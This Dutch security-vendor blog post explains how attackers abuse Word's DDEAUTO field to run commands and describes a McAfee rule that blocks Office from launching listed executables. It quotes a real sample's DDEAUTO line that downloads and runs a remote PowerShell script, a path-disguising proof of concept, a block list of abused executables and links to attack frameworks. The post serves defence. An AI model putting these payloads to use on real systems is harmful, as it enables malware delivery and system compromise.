Wederom verspreiding Office malware

Wederom verspreiding Office malware

DearBytesBlogMalware/ransomwareWederom verspreiding Office malware

maandag 23 oktober 2017

Blog door Leandro Velasco en Rik van Duijn


Office en DDEAUTO misbruikt voor het verspreiden van malware

Cybercriminelen hebben een nieuwe manier gevonden om Microsoft Office te misbruiken voor het verspreiden van malware. Hierbij wordt gebruik gemaakt van specifieke Office-systeemcommando’s. Hoe voorkom je dit soort Office malware aanvallen?

Door het uitvoeren van executables vanuit Office tegen te gaan, kan een groot deel van de aanvallen worden afgeslagen. Uit een test van DearBytes met 80 malwaresamples blijkt dat deze blokkade 78% tegenhield zonder dat gebruik is gemaakt van aanvullende preventieve maatregelen.

Hoe is de aanpak tegen misbruik van Office bekend geworden?

Vorige week publiceerde SensePost de blogpost ‘Macro-less Code Exec in MSWord’. Hierin wordt een Word-feature genaamd ‘DDEAUTO’ beschreven. Deze functionaliteit stelt cybercriminelen in staat om systeemcommando’s uit te voeren via Office-documenten. Zoals de titel van de blogpost al aangeeft, gaat het hier om een alternatief voor macro’s.

Is de aanvalsmethode via Office al in gebruik?

Nieuwe technieken worden snel geadopteerd door hackers. De afgelopen week zijn dan ook de eerste campagnes al waargenomen die gebruikmaken van deze nieuwe aanpak.

Office Malware

 

Welke oplossingen zijn voor Office malware beschikbaar?

Het DearBytes-pentestteam maakt, net als criminelen, dankbaar gebruik van macro’s, OLE-objecten en DDE voor phishing- en redteaming-aanvallen. Samen met het DearBytes Security Research Team (SRT) heeft het pentestteam de nieuwe en oude methoden geanalyseerd om tot een fix te komen.

Microsoft zelf biedt een aantal mogelijkheden om misbruik via de genoemde technieken te mitigeren:

Welke mitigerende maatregel heeft DearBytes inmiddels ontwikkeld?

DearBytes realiseert zich dat niet iedere organisatie in staat is dergelijke oplossingen door te voeren. Daarom implementeert DearBytes een mitigerende maatregel die de uitvoer van kwaadaardige code via de bovenstaande technieken blokkeert.

Met behulp van McAfee Access Protection hebben we een blokkerende rule geïmplementeerd. Om dit te kunnen doen, hebben we eigen Proof of Concepts (PoC) en publiek beschikbare malwaresamples geanalyseerd.

Office ddeauto

Bovenstaande sample maakt slim gebruik van de DDEAUTO-feature. Door de invoer te manipuleren, lijkt het alsof Word data wil laden van ‘sec.gov’. Dat gebeurt echter wel door middel van cmd.exe, iets wat gebruikers zou kunnen alarmeren.

De functie die wordt uitgevoerd wanneer de gebruiker op ‘yes’ klikt is als volgt:

DDEAUTO c:\\windows\\system32\\cmd.exe “/k powershell -C ;echo \”https://sec.gov/\”;IEX((new-object net.webclient).downloadstring(‘https://trt.doe.louisiana.gov/fonts.txt’)) ”

Hiermee wordt een PowerShell-script van internet gedownload en geladen.  Deze PoC is mogelijk een test van een werknemer die werkzaam is bij de Amerikaanse staat Louisiana. Zo niet, dan is er serieus iets mis.

Wat doet DearBytes managed services?

DearBytes Managed Services is de oplossing aan het evalueren en aan het implementeren bij verschillende klanten. Wilt u daar meer over weten neem dan contact met ons op.

Vindt misbruik van DDEAUTO ook plaats via Outlook?

Op 19 oktober 2017 is ontdekt dat het ook mogelijk is de DDEAUTO-feature te misbruiken via Microsoft Outlook. Om die kwetsbaarheid te misbruiken, moet de gebruiker verleid worden te reageren op het bericht. We hebben zelf de volgende PoC gecreëerd om de kwetsbaarheid uit te buiten:

Inmiddels blijkt de DDE feature ook via Calendar uitnodigingen uitgevoerd te kunnen worden. Wanneer de uitnodiging wordt geopend wordt de gebruiker gevraagd de code uit te voeren.

Office malware

Deze POC verbergt niet alleen de argumenten, maar ook de executable die de uitvoer doet zelf. Deze ziet er als volgt uit:

DDEAUTO “c:\\programs\\Microsoft\\office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe calc.exe” “for security reasons”

Door het pad te manipuleren, is het mogelijk om zowel de uiteindelijke applicatie als de parameters te verbergen. Hiermee is het nog eenvoudiger om gebruikers te misleiden.

Hoe kan Office malware geblokkeerd worden?

Tijdens het implementeren van een blokkerende regel voor de DDEAUTO-functionaliteit realiseerden wij ons dat misbruik van DDEAUTO wellicht voorkomen kan worden bij OLE-objecten en macro’s.

Om dit te testen, hebben we verschillende malwaredocumenten verzameld en geanalyseerd. Het merendeel van de documenten maakt gebruik van powershell.exe, cmd.exe of mshta.exe, om vervolgens het volgende deel van de keten in te laden. Er waren echter ook documenten die direct een .exe downloaden en uitvoeren zonder tussenkomst van de bovengenoemde executables. Dit zou ervoor zorgen dat onze regel niet meer werkt.

Het blokkeren van iedere .exe die door MSWord.exe wordt gestart, is echter geen optie. Dan werkt bijvoorbeeld printen niet meer (splwow.exe) en mogelijk schakelen we daarmee nog meer functies uit.

Waarom downloaden aanvallers naar %TEMP%?

Verdere analyse van de verschillende macro’s liet zien dat aanvallers veelal downloaden naar %TEMP%. De reden is dat je als aanvaller zeker wilt weten dat de map bestaat en dat je voldoende rechten hebt om daar te schrijven. Een aanvaller kan iedere map selecteren, dus het blokkeren van executables die door Office vanuit deze map worden gestart is allesbehalve zaligmakend. Desondanks maken veel aanvallers gebruik van deze map, genoeg om het de moeite waard te maken deze blokkering op te nemen in de regel.

Op welke Office-pakketten heeft DearBytes zich gericht?

Onze tests hebben zich gericht op “outlook.exe”, “excel.exe” en “winword.exe”. De verwachting is dat het ook voor andere onderdelen werkt. We weten dit echter (nog) niet zeker. Vanuit de 80 samples en de ervaringen van het pentestteam zijn nu wel de volgende potentieel gevaarlijke executables geïdentificeerd:

  • cmd.exe
  • powershell.exe
  • rundll32.exe
  • cscript.exe
  • mshta.exe
  • wscript.exe
  • python.exe
  • control.exe
  • svchost.exe

Door gebruik te maken van McAfee Action Protection rules is het mogelijk de uitvoer van een exe via een andere exe te blokkeren.

Voor wie bang is om iets kapot te maken en onverhoopt bepaalde functionaliteit te verstoren of uit te schakelen, geldt: zet de regel in monitoringmode en ga na of de regel triggert. We hebben de bovenstaande regels tegen 80 verschillende samples getest die malware verspreiden (macro’s, OLE-objecten en DDEAUTO). Hieruit blijkt dat 78% geblokkeerd wordt door simpelweg de uitvoer tegen te gaan.

Is deze maatregel foolproof?

Nee, mogelijk bestaat er nog een andere executable die cybercriminelen kunnen gebruiken. Of juist een ander onderdeel van Microsoft Office dat misbruikt kan worden voor de uitvoer. Wanneer het DearBytes Security Research Team (SRT) nieuwe mogelijkheden identificeert, zullen we deze uiteraard bijwerken. Heb je suggesties? Laat het ons weten!

Waarom niet alle exe’s blokkeren?

Dit is een optie, maar winword.exe roept bijvoorbeeld splwow64.exe aan om te kunnen printen. Door simpelweg alle exe’s te blokkeren, zou die feature niet meer werken.

Moet ik nog ergens aan denken voor implementatie?

Ja, het invoeren van deze blokkade maakt de uitvoer van de applicaties in de blocklist onmogelijk. Het is onwaarschijnlijk dat die binnen jouw organisatie aanwezig zijn, maar het kan wel. Twijfel je? Zet de regel in monitoringmode en hou de logs in de gaten.

Waarom niet blokkeren op netwerkniveau?

Dit zou kunnen, maar het probleem is dat moderne Office-documenten een set XML-bestanden vormen die zijn ingepakt in een ZIP-bestand. Dit betekent dat als we misbruik van DDEAUTO willen detecteren de IDS of soortgelijke securityoplossing eerst bestanden moet uitpakken, om vervolgens te zoeken naar macro’s, OLE-objecten of DDE-tags. Daarnaast wordt steeds vaker verbonden via https, hetgeen detectie op netwerkniveau onmogelijk maakt.

Hebben cybercriminelen deze aanvalsmethode al in attack frameworks opgenomen?

Verschillende publieke attack frameworks hebben de DDEAUTO-feature al geïmplementeerd. Zo heeft PowerShell Unicorn DDEAUTO-implementatie: https://github.com/trustedsec/unicorn

Nishang DDEAUTO-implementatie:

https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1
https://www.virustotal.com/#/file/1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428/

Wat zijn de hashes van de DDE-files?

DDE files sha256 hashes:

9cb91254c84f90c259418034de06a423114045d06b32b10ab6baa8435002a708

03963c5de0ecd5cf7e8592a5f82636ea88928d95b1da974b22b262c04aec5084

4ef9d0d2a5debce36cf1dba75997c9385d70d0721c0ab40824650e53e075935e

55e2699721379352b0be2ea6b1c71257342d07efbe78c84d7257497f8f75e967

7c5fa308170c74df2ee2302219252c6f67db82551d2d98f264b99c833aa98741

f9f1805b53fc6710a7735efb5ecea6ca93e6f570514b388e2facbe2937064de8

1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428

7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280

3d0a93182c30a4125a90ecea8faeaeeef630f1b6ea280cdc14aee20d84975100

7c5fa308170c74df2ee2302219252c6f67db82551d2d98f264b99c833aa98741

9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862

e6804662e1e820a251379af04258a9b22e41838cbad9589a3450697ed9248d38


Blog door Leandro Velasco en Rik van Duijn